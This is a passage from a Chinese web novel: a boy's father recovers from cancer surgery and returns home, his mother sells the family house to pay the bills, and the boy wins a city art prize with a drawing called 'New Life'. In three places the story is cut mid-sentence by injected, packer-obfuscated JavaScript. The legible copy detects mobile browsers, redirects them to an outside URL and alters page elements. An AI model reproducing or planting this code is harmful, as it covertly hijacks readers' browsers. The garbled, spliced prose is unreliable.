但他还是不放心。每天放学后他都会去医院,看一眼父亲,跟母亲说几句话,然后才回姑姑家。有时候他会带上画本,在医院里画一会儿。他画母亲给父亲喂饭的样子,画母亲扶着父亲下床走路的样子,画母亲蹲在地上给父亲穿鞋的样子。这些画面太珍贵了,他怕自己会忘记,所以要画下来,存在画本里,存在心里。 王秀兰来的第三天,张建国第一次下床走路。 手术后的康复训练很重要,王医生说每天都要走,从一分钟开始,慢慢加。王秀兰扶着张建国的胳膊,张小五在旁边推着输液架,一家三口在走廊里慢慢地挪。 张建国走得很慢,慢到像一只蜗牛。他的腿在发抖,额头上全是汗,每走一步都要停下来喘几口气。但他咬着牙,一步一步地往前挪,从病房门口走到护士站,从护士站走到电梯口,从电梯口走回来。 “行了,够了。”王秀兰说,“明天再走。” “再走一圈。”张建国说,声音很虚,但语气很倔。 王秀兰看了张小五一眼,张小五点了点头。他们又扶着张建国走了一圈,从病房门口走到走廊尽头,再从走廊尽头走回来。这一次张建国走得更慢了,慢到每一步都像是在丈量什么。也许是丈量他和死亡之间的距离,也许是丈量他和新生之间的距离。 走完之后,张建国坐在床上,大口大口地喘气,但脸上有一种张小五从未见过的表情——那是胜利者的表情。不是赢了别人的那种胜利,是赢了自己的那种。比任何奖杯都重,比任何荣誉都亮。 “爸,你真厉害。”张小五说。 张建国摆了摆手,但嘴角忍不住往上弯了一下。 王秀兰在旁边看着这对父子,眼眶红了。她转过身去,假装在整理床头柜,把那些瓶瓶罐罐摆来摆去,摆了半天也没摆出什么名堂。 王秀兰来的第五天,发生了一件事。 那天下午,张小五放学后去医院,走到病房门口的时候,听见里面有说话的声音。他推开门,看见母亲坐在床边,手里拿着一张纸,正在给父亲看。 “这是什么?”张小五走过去。 王秀兰抬起头,眼睛红红的,但嘴角是笑的。她把那张纸递给张小五,是一张汇款单的复印件,上面写着收款人“张建国”,金额“五万元”。 张小五看着那串数字,愣了好几秒。 “妈,这是哪儿来的?” 王秀兰用手背擦了擦眼睛,说:“妈把老家的房子卖了。” 张小五的脑子“嗡”的一声。 老家的房子。那个他出生的地方,那个有着土墙和瓦片屋顶的房子,那个院子里种着一棵枣树和一棵石榴树的房子,那个他蹒跚学步、牙牙学语、画下人生中第一幅涂鸦的地方。那个房子,卖了。 “妈,你……”张小五的声音卡在喉咙里,不知道该说什么。 “那房子空了八年了,留着也是留着。”王秀兰的声音很平,平得像是在说一件很普通的事,“你爸需要钱治病, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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王秀兰弯下腰,在他额头上轻轻亲了一下。那个吻很轻,轻得像一片花瓣落在水面上,几乎没有声音,但张建国整个人像是被电击了一样,猛地一颤。 然后她转过身,看着张小五。 “小五,送送妈。” 张小五跟着母亲走出病房,走进电梯,走出住院部,走到医院门口。一路上两个人谁都没有说话,只是并排走着,肩膀偶尔碰一下,又分开。 医院门口人来人往,出租车一辆接一辆地停在路边,上下客。王秀兰站定,转过身,看着张小五。 “小五,妈走了。”她说,“你爸那边,你多费心。钱的事你别担心,妈每个月发了工资就打过来。” 张小五点了点头。 “你也要照顾好自己,”王秀兰伸出手,摸了摸他的脸,“多吃点,长胖点。你看看你,瘦得跟猴似的。” 张小五笑了。他的眼睛还是红的,鼻子还是酸的,但他笑了。因为他知道母亲在努力,努力弥补,努力靠近,努力做一个好妈妈。虽然她做得还不够好,但她在做。这就够了。 “妈,你路上小心。”他说。 王秀兰点了点头,转过身,走向路边的一辆出租车。她拉开车门,坐进去,关上门。车窗摇下来,她探出头,朝张小五挥了挥手。 “回去吧!”她喊。 张小五也挥了挥手。 出租车发动了,汇入车流,越开越远,最后消失在街道的尽头。张小五站在原地,看着那辆车消失的方向,站了很久。 然后他转过身,走回了医院。 他走进306病房的时候,张建国正侧躺着,面朝窗户。他的肩膀在微微颤抖,枕头上有几滴深色的水渍。 张小五没有走过去,也没有说话。他轻轻地关上门,在门口的椅子上坐下来,拿出画本,翻到新的一页。 他画了母亲站在医院门口的样子。她穿着那件洗得发白的格子衬衫,手里提着那个大编织袋,头发被风吹乱了,有几缕飘在脸上。她的眼睛红红的,嘴角往下撇着,看起来又想哭又想笑。 画完之后,他在纸的右下角写了一行字。 “我妈走了。但她会回来的。她说她每个月发了工资就打钱过来。我相信她。” 他把画本合上,抱在怀里,靠在椅背上,看着窗外的天空。 天很蓝,蓝得透明,像一块巨大的玻璃。有几朵云飘过去,慢悠悠的,像几只白色的帆船。 张小五忽然觉得,希望也许不是一束光,不是一扇窗,不是一双手。希望是一只帆船,很慢很慢地往前开,你不知道它会开到哪里,但你知道它在开,在往前开,不会停下来。 16. 出院 七月中旬,王医生终于开了口:“可以出院了。” 这三个字像一颗石子扔进平静的湖面,在张小五心里激起了巨大的涟漪。他站在医生办公室里,手里拿着出院通知单,看着上面那些潦草的字迹,觉得每一个字都在发光。他把那张纸翻来覆去地看了好几遍,确认自己没有看错,然后紧紧地攥在手里,跑回了病房。 “爸!可以出院了!”他推开门,声音大得走廊里的人都回过头来看。 张建国正半靠在床上,手里拿着张小五的画本,一页一页地翻。听到这句话,他的手停了一下,抬起头,看着儿子那张因为兴奋而涨红的脸,嘴角慢慢弯了起来。 “真的?”他的声音还有点虚,但语气里有一种压抑不住的喜悦。 “真的!”张小五把出院通知单递过去,“王医生说的,今天办手续,明天就可以回家了!” 张建国接过那张纸,看了一会儿,然后把它放在床头柜上,和那些蜂蜜、红枣、枸杞放在一起。他深深地吸了一口气,又慢慢地吐出来,像是要把这两个月来积攒在肺里的所有浊气都吐干净。 “回家。”他说,声音很轻,但很坚定,“回家好。” 张小五开始收拾东西。他把父亲的衣服一件一件地从柜子里拿出来,叠好,放进那个从家里带来的编织袋里。衣服不多,几件换洗的T恤,两条裤子,一件外套,还有那双开裂的解放鞋。他本来想把这双鞋扔掉,父亲住院这两个月一直穿的是医院的拖鞋,这双鞋放在床底下落了一层灰,鞋头磨破的地方露出了里面的黑色棉布。 “爸,这鞋还要吗?”他拎起那双鞋,在父亲面前晃了晃。 张建国看了一眼,点了点头:“要。补补还能穿。” 张小五没有说什么,把鞋放进袋子里。他知道父亲不是舍不得这双鞋,是舍不得花钱买新的。一双解放鞋要三四十块,够他们吃好几天的饭了。能省就省,这是父亲教给他的第一课,他这辈子都忘不了。 收拾完东西,张小五去一楼缴费处结了账。王秀兰卖房子的五万块,加上之前筹到的所有钱,刚好够支付手术和住院的费用。他把最后一笔钱从银行卡里划走的时候,屏幕上显示余额“0.00”。他看着那串数字,心里没有恐慌,反而有一种奇异的平静。归零了,一切从头开始。没有债务,也没有存款。父亲还活着,这就是最大的财富。 他拿着缴费单回到病房,张建国已经换好了自己的衣服。那件深蓝色的毛衣是王秀兰织的,穿在他身上有点大,肩膀处垮了下来,领口也松松垮垮的。他瘦了太多了,以前这件毛衣是合身的,现在穿上去像套了一个麻袋。 张小五帮父亲把毛衣的下摆塞进裤子里,又把围巾围好。七月的天,围围巾有点奇怪,但张建国坚持要戴,说这是王秀兰买的,不戴浪费了。张小五没有拆穿他,他知道父亲不是怕浪费,是想把母亲的温度留在身边。 “爸,走吧。”张小五背上书包,一只手提着编织袋,另一只手扶着父亲的胳膊。 张建国从床上慢慢站起来,稳住身体,迈出了第一步。他的脚步还是有点虚,但比刚做完手术的时候稳多了。他一只手扶着墙,另一只手被张小五搀着,一步一步地走向门口。 走到门口的时候,他停下来,回头看了一眼这间住了将近两个月的病房。白色的墙壁,蓝色的床单,心电监护仪还放在床头,输液架还立在床边。窗台上有一盆不知道谁放在那里的绿萝,叶子绿得发亮,长藤垂下来,像一条绿色的小瀑布。 “走吧。”他说,转回头,迈出了门槛。 张小五扶着父亲走出住院部,站在医院门口。阳光扑面而来,亮得他睁不开眼。七月的太阳很毒,晒在皮肤上有一种灼烧感,但他觉得舒服极了。阳光的味道,风的味道,汽车尾气的味道,烤红薯的味道——这些味道混在一起,就是生活的味道。他已经很久没有闻到过了。 他拦了一辆出租车,把父亲扶上车,自己坐在旁边。编织袋塞进后备箱,书包抱在怀里。车子发动了,窗外的街景开始往后退。医院的大楼越来越小,最后变成一个灰白色的点,消失在街道的拐角处。 张小五靠着车窗,看着那些熟悉的街道、店铺、树木一帧一帧地从眼前掠过。包子铺、文具店、公交站牌、梧桐树、老槐树——每一棵树每一块砖他都认识,它们组成了他的整个世界,一个不大但很完整的 world。 车子停在那条老巷子的巷口。张小五付了车费,扶着父亲下了车。张建国站在巷口,看着那条狭窄的、坑坑洼洼的水泥路,看着两边灰扑扑的居民楼,看着那棵歪脖子老槐树,眼眶忽然红了。 “回来了。”他说,声音有点哽咽。 “回来了。”张小五说。 他们慢慢地走进巷子,走上楼梯,来到六楼的那扇门前。张小五掏出钥匙,插进锁孔,拧了两下,门开了。 屋里的样子和他走的时候一模一样。掉了墙皮的墙,有裂纹的茶几,弹簧坏掉的沙发,快死了的绿萝,还有那扇用绳子系着的窗户。茶几上还压着他走之前写的那张纸条——“爸,我去去就回。”那张纸条已经泛黄了,边角卷了起来,但字迹还是清清楚楚的。 张小五把纸条拿起来,叠好,放进口袋里。他把编织袋放在地上,扶着父亲坐到沙发上。张建国坐下去的时候,沙发“嘎吱”响了一声,他的身体往下陷了一大截,弹簧硌着他的屁股,但他没有动,就那么坐着,闭着眼睛,感受着这个家的味道。 霉味、灰尘味、旧家具的味道、还有一点点张小五画画用的铅笔灰的味道。这些味道不好闻,但它们是家的味道。医院的味道太干净了,干净得没有人情味。家不一样,家是乱的、旧的、破的,但它是活的,有温度的,会呼吸的。 张小五去厨房烧了一壶水,给父亲倒了一杯。张建国接过水杯,双手捧着,一口一口地喝,像是在品尝什么珍贵的饮品。 “小五。”他说。 “嗯。” “这两个月,辛苦你了。” 张小五愣了一下,然后摇了摇头。“不辛苦。” 张建国看着他,看着他那张瘦得脱了形的脸,那双深陷的但依然明亮的眼睛,那双沾满铅笔灰的、骨节突出的手。他的嘴唇哆嗦了一下,想说“你是爸的好儿子”,但这句话太轻了,轻到承载不了这两个月的分量。他最后只是伸出手,用力地握了握张小五的手,然后松开。 “爸会好起来的。”他说,“爸还要看你考上美院,看你当大画家。” 张小五笑了。他笑得眼睛弯弯的,像两个小月牙,露出一排不太整齐的牙齿。那一瞬间,他又变回了一个十三岁的少年,而不是那个在医院走廊里无声哭泣的小大人。 “好。”他说,“爸你说话算话。” 张建国点了点头。“说话算话。” 窗外的阳光从窗户的缝隙里挤进来,在地上画了一条金色的线。那条线从门口一直延伸到沙发脚下,像一条通往未来的路。 张小五看着那条金线,心里忽然涌起一股热流。不是激动,不是感动,是一种更深的、更沉的东西——是信念。他相信父亲会好起来,相信自己能考上美院,相信日子会一天比一天好。没有什么理由,就是相信。 他把画本从书包里拿出来,翻到新的一页,开始画。他画的是父亲坐在沙发上的样子,阳光照在他身上,把他的轮廓镀上了一层金色。他的脸还是很瘦,颧骨高耸,眼窝深陷,但嘴角有笑,眼中有光。 画完之后,他在纸的右下角写了一行字。 “爸爸回家了。我们的家。” 出院后的张建国恢复得比医生预想的还要快。 也许是因为在家里,心情好了,胃口也好了。也许是因为王秀兰每周都会打电话来,问长问短,虽然隔着电话线,但那种被人惦记的感觉本身就是一味良药。也许是因为张小五每天都会给他画一幅画,画他浇花的样子,画他晒太阳的样子,画他在厨房里笨拙地切菜的样子。每一幅画都是一剂药,治的不是身体的病,是心里的病。 到了八月中旬,张建国已经能自己下地走路了,不用扶墙,不用拐杖,虽然走得不快,但每一步都稳稳当当的。他甚至开始做一些简单的家务,洗菜、扫地、叠衣服,做得很慢,但做得很认真,像是在用这些微不足道的小事证明自己还有用。 张小五不让他做,他就趁张小五不在家的时候偷偷做。有一天张小五从外面回来,发现厨房的灶台擦得干干净净的,锅碗瓢盆摆得整整齐齐的,地上也拖过了,还带着湿漉漉的水渍。张建国坐在沙发上,手里拿着遥控器,假装在看电视,但电视根本没开。 “爸,你拖地了?”张小五问。 “没有。”张建国眼睛盯着黑屏的电视,面不改色。 张小五走过去,摸了摸他的额头,又摸了摸自己的,假装在对比温度。“爸,你是不是发烧了?怎么开始干活了?” 张建国瞪了他一眼,把遥控器扔在沙发上。“爸又不是残废,干点活怎么了?你天天在外面跑,家里总得有人收拾。” 张小五笑了。他知道父亲是闲不住的人,在床上躺了两个月,骨头都躺软了,现在能动了,恨不得把这两个月欠下的活都补回来。他没有再拦着,只是每次出门前都会把重的东西收好,把危险的刀具放高,把地拖干,免得父亲滑倒。 八月底的一个下午,张小五正在房间里画画,听见门铃响了。他打开门,看见周扬和陈雨桐站在门口,两个人手里都提着东西,周扬提着一个大西瓜,陈雨桐提着一袋水果和一束花。 “张小五,你爸出院了也不告诉我们一声!”周扬大大咧咧地走进来,把西瓜放在茶几上,西瓜太大,茶几太小,差点滚下去,他手忙脚乱地接住了。 “刚出院没几天,还没来得及说。”张小五把周扬和陈雨桐迎进来,朝房间里喊了一声,“爸,我同学来了。” 张建国从房间里走出来,穿着一件干净的T恤,头发梳过了,胡子刮过了,看起来精神了不少。他看见周扬和陈雨桐,笑了一下,招呼他们坐。 “叔叔好!”周扬和陈雨桐齐声喊道。 “好,好。”张建国在沙发上坐下,看着这两个孩子,眼睛里有一种温暖的光,“你们是小五的同学?经常听小五提起你们,谢谢你们这段时间帮了小五那么多。” “叔叔您别客气,张小五是我们哥们儿,不帮他帮谁?”周扬说着,从口袋里掏出一个红包,放在茶几上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444012|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “叔叔,这是我妈让我带的,说是给您买营养品的。” 张建国看着那个红包,脸色变了一下,想推辞,但张小五朝他摇了摇头。他犹豫了一下,把红包收下了,声音有点哽咽:“替我谢谢你妈。” 陈雨桐把那束花递给张建国,是一束康乃馨,粉色的、红色的、白色的,扎在一起,用透明的玻璃纸包着,系了一个蝴蝶结。“叔叔,祝您早日康复。” 张建国接过花,低头闻了闻,眼眶红了。他已经很多年没有收到过花了。上一次收到花,还是和王秀兰结婚的时候,那时候他还是一个年轻力壮的小伙子,穿着一身崭新的西装,胸口别着一朵大红花,笑得合不拢嘴。 他把花放在茶几上,用手背擦了擦眼睛。 “你们坐,叔叔给你们切西瓜去。”他站起来,走向厨房。 张小五想跟过去帮忙,被张建国一个眼神瞪了回来。他只好坐在沙发上,和周扬、陈雨桐聊天。 “张小五,你听说了吗?”周扬压低声音,“下学期的美术比赛,市里那个‘未来画家’大赛,奖金五千,一等奖。” 张小五点了点头。他听李老师说过这个比赛,本来是上半年举行的,因为疫情推迟到了下半年。比赛的主题是“新生”,要求参赛者用画笔表达对“新生”的理解。他一直在想这个题目,但迟迟没有动笔。新生是什么?是春天的新芽?是破茧的蝴蝶?是初生的婴儿?这些都太普通了,画出来没有新意。 “你打算画什么?”陈雨桐问。 张小五想了想,说:“还没想好。” 陈雨桐看着他,忽然笑了。“我觉得你应该画你爸。” 张小五愣了一下。 “你爸就是‘新生’啊。”陈雨桐说,“从死神手里抢回来的一条命,不是新生是什么?” 张小五没有说话,但心里有什么东西被点亮了。是啊,父亲就是新生。从一个被宣判了死刑的癌症患者,到一个能下地走路、能切西瓜、能跟儿子斗嘴的活生生的人,这不是新生是什么?他不需要去画什么新芽、蝴蝶、婴儿,他身边就有一个活生生的、每天都在变化的新生的例子。 “你说得对。”他说,“我应该画我爸。” 厨房里传来切西瓜的声音,“咔嚓”一声,西瓜裂开了,清甜的香味飘了过来。张小五站起来,走进厨房,看见父亲正站在案板前,手里拿着菜刀,一刀一刀地把西瓜切成小块。他的动作很慢,手还有点抖,但每一刀都切得很认真,很均匀,像是在完成一件作品。 张小五靠在厨房的门框上,看着父亲的背影。 阳光从厨房的小窗户照进来,照在父亲的身上,把他的轮廓镀上了一层金色。他穿着那件深蓝色的毛衣——虽然是八月,但他坚持要穿,说是王秀兰织的不能浪费——袖子卷到手肘,露出瘦削但有力的小臂。他的手在微微颤抖,但握着刀的手很稳,稳得像一座山。 张小五转过身,回到房间,拿出画本和铅笔。他没有回到厨房,而是坐在客厅里,凭着记忆和眼前的画面,开始画。 他画的是父亲切西瓜的样子。不是正脸,是背影。那个背影站在厨房里,阳光照在他身上,他手里拿着刀,正在切一个很大的西瓜。西瓜是红色的,籽是黑色的,汁水是透明的,在阳光里闪着光。他把西瓜画得很鲜艳,用红色和黑色和白色,虽然只有铅笔,但他用明暗的对比让那个西瓜看起来汁水丰盈,像是马上就要从纸上溢出来。 画完之后,他在纸的右下角写了两个字。 “新生。” 他把画本合上,抱在怀里,闭上眼睛。脑海里浮现出父亲这两个月来的变化——从病床上奄奄一息,到能坐起来,到下地走路,到切西瓜。每一个变化都是一笔,一笔一笔地画出了“新生”这两个字。 他睁开眼,拿起手机,给李老师发了一条消息。 “李老师,我想好画什么了。题目叫《新生》,画的是我爸切西瓜。” 过了一会儿,李老师回了一条消息。 “好。下周一拿给我看。” 张小五把手机放进口袋,站起来,走向厨房。西瓜已经切好了,整整齐齐地码在一个大盘子里,红瓤绿皮,看起来诱人极了。张建国正在用抹布擦案板,擦得很仔细,连边角都不放过。 “爸,你歇会儿吧,我来端。”张小五接过盘子,端到客厅。 周扬已经迫不及待了,拿起一块西瓜就啃,汁水顺着下巴往下淌,他用手背一抹,含混不清地说:“叔叔,您切的西瓜真甜!” 张建国笑了。他笑得眼角的皱纹像干裂的土地,但那个笑容很真,很亮,像是有一盏灯在那些沟壑深处亮了起来。 张小五看着父亲的笑容,心里忽然涌起一股热流。 他想起王医生说的话:“手术很成功。”想起母亲说的话:“妈把老家的房子卖了。”想起李老师说的话:“画画不能停。”想起周扬说的话:“你爸还等着你呢。” 这些声音像一条河流,在他心里流淌,汇聚成一片很大的湖。湖水很清,很静,倒映着蓝天白云,倒映着父亲的背影,倒映着他自己的脸。 他拿起一块西瓜,咬了一口。 很甜。 甜得他想哭。 17. 新生 张小五把那幅画取名为《新生》,交到了李老师手里。 李老师把画接过去的时候,没有立刻看,而是先看了一眼张小五的脸。那张脸比两个月前胖了一点,眼窝不再那么深陷了,颧骨也不再那么高耸了,但下巴还是尖的,像一颗还没长饱满的瓜子。她看着那张脸,心里有什么东西被轻轻拨动了一下,像是有人在弹一首很慢很慢的曲子,每一个音符都落在最柔软的地方。 然后她低下头,看那幅画。 画的是一个男人的背影。男人站在厨房里,阳光从窗外照进来,把他整个人笼罩在一片金色的光里。他穿着一件深蓝色的毛衣,袖子卷到手肘,露出瘦削但有力的小臂。他的手里拿着一把菜刀,正在切一个很大的西瓜。西瓜被切开了,红瓤绿皮,黑色的籽像一颗颗小眼睛,在阳光里闪着光。男人的背微微弯着,肩膀放松,姿态自然而从容,像是在做一件每天都在做的、再普通不过的事情。但就是这种普通,让整幅画有了一种说不出的力量——那是生活的力量,是日常的力量,是一个死里逃生的人重新拿起菜刀的力量。 李老师看了很久。久到张小五开始紧张,手心冒汗,脚趾在鞋子里蜷成一团。 “张小五。”她终于开口了。 “嗯。” “这幅画,比你以前所有的画都好。”李老师抬起头,眼睛里有光,“不是技巧上的好,是情感上的好。你以前的画,是在‘看’;这幅画,是在‘活’。你活在了这幅画里,所以看画的人也能活进去。” 张小五不太懂什么叫“活进去”,但他觉得李老师说的是好话,因为他心里热乎乎的,像是喝了一大碗热汤。 “李老师,那这个能参加比赛吗?” “能。”李老师说,“不仅能参加,我觉得能拿奖。” 张小五的心跳了一下,像是一只受惊的兔子,在胸腔里蹦了一蹦。他没有说话,只是用力地点了点头,把那幅画小心翼翼地装进画筒里,背在肩上,走出了美术教室。 走廊里阳光很好,从窗户照进来,把整条走廊照得亮堂堂的。张小五走在阳光里,脚步很轻,轻得像踩在棉花上。他忽然想起一件事——今天是周五,母亲打电话的日子。每个周五晚上七点,王秀兰都会准时打电话过来,问父亲的身体,问他的学习,问家里的一切。这已经成了一种仪式,一种他们三个人之间心照不宣的仪式。 他加快脚步,走出了校门。 比赛的结果在九月底出来了。 张小五站在学校的公告栏前,看着那张红彤彤的喜报,大脑一片空白。 “热烈祝贺我校初二(3)班张小五同学荣获‘未来画家’全市中学生绘画大赛初中组一等奖!” 一等奖。 他拿了一等奖。 五千块。 这三个词像三颗炸弹,在他脑子里依次炸开,炸得他晕乎乎的,站都站不稳了。他扶着公告栏的边框,把那张喜报看了又看,确认上面的名字是“张小五”而不是别人,确认上面的奖项是“一等奖”而不是“参与奖”,确认这一切不是他在做梦。 “张小五!你他妈太牛了!”周扬的声音从身后传来,震得他耳膜发疼。下一秒,周扬整个人扑了上来,双手箍住他的脖子,像一只兴奋的大狗,又蹦又跳,“一等奖!五千块!你得请客!” 张小五被他勒得喘不过气,使劲拍他的胳膊:“放开……放开……我要死了……” 周扬松开手,退后一步,两只眼睛亮得像灯泡。“你知不知道这个比赛有多难?全市几百所学校,好几千个人参加,一等奖只有三个!你他妈是其中之一!” 张小五知道。他当然知道。正因为知道,他才觉得不真实。他只是一个住在城中村老房子里的穷小子,用的是最便宜的铅笔和画纸,学画画的时间比别人晚了好几年,凭什么能拿一等奖?凭什么? 但事实就摆在那里,红纸黑字,盖着市教育局和市文联的章,比任何质疑都更有说服力。 陈雨桐也跑过来了,手里拿着手机,屏幕上是一条消息推送——市教育局的官方公众号发了获奖名单,张小五的名字赫然在列。她把手机举到张小五面前,笑得露出两颗小虎牙:“你看,你火了。” 张小五看着那条推送,标题是“我市‘未来画家’大赛获奖名单揭晓,这些孩子太有才了!”下面是一长串名字,他的“张小五”三个字排在最前面,像一面旗帜。 他忽然觉得鼻子很酸。 不是因为激动,是因为想起了一些事情。想起父亲躺在病床上、身上插满管子的样子,想起母亲把老家的房子卖掉、把钱打进医院账户的那一刻,想起自己在医院走廊的折叠椅上缩成一团、无声哭泣的那些夜晚,想起李老师说“画画不能停”,想起方老师说“我像你这么大的时候家里也很穷”,想起周扬塞给他那个信封时说的“等你以后当了画家再还”。 这些画面像电影一样在他脑子里快速闪过,一帧一帧的,清晰得像是昨天才发生。他用力地眨了一下眼睛,把快要涌出来的眼泪逼了回去。 “走,”他说,声音有点哑,“我请你们吃烤串。” 周扬的眼睛瞪得像铜铃:“真的?” “真的。”张小五笑了,“五千块呢,够吃好几顿。” 那天晚上,三个人坐在学校门口的烧烤摊上,吃了五十块钱的烤串。羊肉串、鸡翅、烤韭菜、烤茄子、烤馒头片,满满一桌子,热气腾腾的,香味飘出去老远。张小五平时舍不得吃这些东西,但今天他破例了。他把每一串都吃得干干净净,连竹签上的肉渣都用牙齿刮下来,嚼得津津有味。 周扬吃了二十串羊肉串,喝了两瓶汽水,打了一个巨大的嗝,靠在椅背上,拍着圆滚滚的肚子说:“张小五,你以后要是成了大画家,我可就指着你吹牛了——‘我跟大画家张小五是初中同学,他还欠我五千块钱呢。’” 张小五笑了,笑得眼睛弯弯的,像两个小月牙。“忘不了,你那五千块我记着呢。” 陈雨桐在旁边安静地吃着一串烤馒头片,嘴角沾了一点孜然粉。她听着这两个男生的对话,忽然说了一句:“张小五,你下一步打算怎么办?” 张小五放下手里的竹签,想了想。“我想考美院附中。” 周扬和陈雨桐同时看向他。 “美院附中?”周扬问,“就是那个中央美院附中?” “不一定央美,别的也行。”张小五说,“李老师说了,美院附中的专业课要求高,文化课分数线也比普通高中低一些,适合我这种情况。而且学费低,有奖学金,能减轻我爸的负担。” 陈雨桐点了点头:“我有个表姐就是上的美院附中,后来考上了央美。她说附中的专业课特别强,老师都是美院的教授,画室二十四小时开放,想画多久画多久。” 张小五的眼睛亮了一下。二十四小时开放的画室,想画多久画多久——那不就是他梦里出现过无数次的地方吗?四面墙都是窗户,阳光从各个方向涌进来,画架上绷着崭新的画布,桌上摆满了颜料,各种颜色,多得他用不完。 “那我更要考了。”他说。 周扬举起汽水瓶:“来,敬张小五的美院附中!” 陈雨桐也举起瓶子:“敬一等奖!” 张小五举起最后一瓶汽水,和他们碰在一起。玻璃瓶碰撞发出清脆的声响,在夜空中回荡,像一首短促而欢快的乐曲。 “敬我爸。”他说,“他活过来了。” 三个人仰起头,咕咚咕咚地把汽水灌进肚子里。汽水是橘子味的,甜中带酸,气泡在舌尖上炸开,麻酥酥的。张小五觉得这就是生活的味道——甜中带酸,麻酥酥的,有时候刺得你流泪,但总体来说是甜的。 那天晚上回到家,张小五把喜报和获奖证书放在茶几上,等着父亲回来。 张建国去菜市场买菜了,现在他每天都会出门走一走,从刚开始只能走到巷口,到现在能走到菜市场再走回来,进步大得连邻居王奶奶都惊讶。“老张,你这恢复得也太快了,是不是吃了什么灵丹妙药?”张建国就笑,说:“灵丹妙药没有,就是我儿子画的画好,看着心情好,心情好了病就好得快。” 门响了,张建国提着一袋菜走进来,西红柿、鸡蛋、一把青菜,还有一块豆腐。他把菜放在厨房,走出来,一眼就看见了茶几上的喜报和证书。 他的脚步停了一下。 然后他走过去,拿起那张喜报,一个字一个字地念:“张小五同学……荣获‘未来画家’全市中学生绘画大赛……初中组一等奖……” 他念完之后,把喜报放下,拿起证书,打开来,看着里面那个烫金的印章。他的手在微微发抖,证书的纸页在他手里发出细微的沙沙声。 “爸,一等奖有五千块奖金。”张小五说,“够你吃好几个月的好饭了。” 张建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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电话那头沉默了一瞬,然后传来一声又长又轻的叹息,像是憋了很久的一口气终于吐了出来。王秀兰的声音变了,变得又轻又软,像是怕惊动什么:“真的?小五,你说的是真的?” “真的。证书和喜报都拿回来了,爸看了,他可高兴了。” 王秀兰又沉默了。这一次沉默的时间更长,长到张小五以为信号断了。然后他听见了细微的、被压抑的哭声,像是有人在捂住嘴哭,不想让对方听见。 “妈,你别哭。”张小五说。 “妈没哭。”王秀兰的声音断断续续的,“妈就是……高兴。小五,你真有出息,妈这辈子……最对不起的就是你,但你争气,你比妈强太多了……” 张小五握着手机,听着母亲的哭声,心里像是有很多只蚂蚁在爬,又痒又疼。他想说“妈你别这么说”,想说“妈你已经做得很好了”,想说“妈我从来没怪过你”。但这些话到了嘴边,又觉得太轻了,轻到承载不了他想表达的东西。 他最后只说了一句:“妈,等我有钱了,我接你回来住。” 电话那头的哭声更大了,但这一次没有压抑,是痛痛快快地哭,像一个堵了很久的坝终于开了闸。王秀兰哭了很久,哭到最后变成了笑,笑着笑着又哭了,哭哭笑笑,像个疯子。 张小五听着,嘴角慢慢弯了起来。 “妈,你照顾好自己。”他说,“月底我去看你。” “好,”王秀兰吸了吸鼻子,“好,妈等你。” 挂了电话,张小五坐在床边,看着窗外的月亮。月亮很圆,挂在老槐树的树梢上,像一个巨大的银盘子。他忽然想起小时候,母亲抱着他坐在院子里看月亮,指着月亮说:“小五你看,月亮里面有只兔子,在捣药呢。”他瞪大眼睛看了半天,什么也没看见,但他假装看见了,因为母亲笑得很开心,他想让母亲继续笑下去。 那时候他还不知道,那只兔子不在月亮里,在母亲的心里。她在给一个破碎的家庭捣药,捣了八年,药还没捣好,但伤口已经不流血了。 张小五从枕头底下抽出画本,翻到新的一页,开始画。他画的是月亮,挂在老槐树的树梢上。月亮下面是一个小院子,院子里有一棵枣树和一棵石榴树,树下坐着一个女人,怀里抱着一个小孩。女人的脸看不清,但她的笑很清晰,清晰得像是刻在月亮上的。 画完之后,他在纸的右下角写了一行字。 “我拿了一等奖。我妈哭了。她说是高兴的。我相信她。” 他合上画本,关了灯,躺在床上。 黑暗中,他又听见了那个声音。 “画下去。” 他笑了。 会的。他会一直画下去。画父亲的背影,画母亲的眼泪,画周扬的傻笑,画陈雨桐的小虎牙,画那些善良的人们,画那些黑暗中的光,画那些裂缝里长出来的花。 18. 冲刺 初三开学的时候,张小五做了一件让所有人都意想不到的事——他把画本锁进了抽屉里。 周扬是第一个发现的。那天课间,他习惯性地转过头想借张小五的速写本看看,结果看见张小五桌上摊着的不是画本,而是一本数学练习题。他愣了一下,以为自己看错了,揉了揉眼睛再看,没错,是数学,密密麻麻的方程式,写得工工整整。 “张小五,你转性了?不画画了?”周扬趴在椅背上,下巴搁在张小五的桌角上。 张小五头也没抬,笔尖在纸上飞速地滑动,解一道二次函数的应用题。“要考美院附中,文化课不能差。李老师说了,专业课和文化课都要过线,一个都不能少。” 周扬看着他那副不要命的样子,张了张嘴,想说什么,又咽了回去。他从张小五桌上拿起那本数学练习册翻了翻,从第一页到最后一页,每一道题都做了,有的题目旁边还写着两种解法,字迹工整得不像张小五写的——以前的张小五,写字跟画速写一样,潦草得只有他自己能认出来。 “你这是要把自己逼死啊。”周扬把练习册放下,声音里有一种他很少流露的认真。 张小五终于抬起头,看了周扬一眼。他的眼睛下面有很重的黑眼圈,像两团青色的乌云,但眼睛很亮,亮得像两颗被擦干净的玻璃珠。“不逼不行,”他说,“我没退路。” 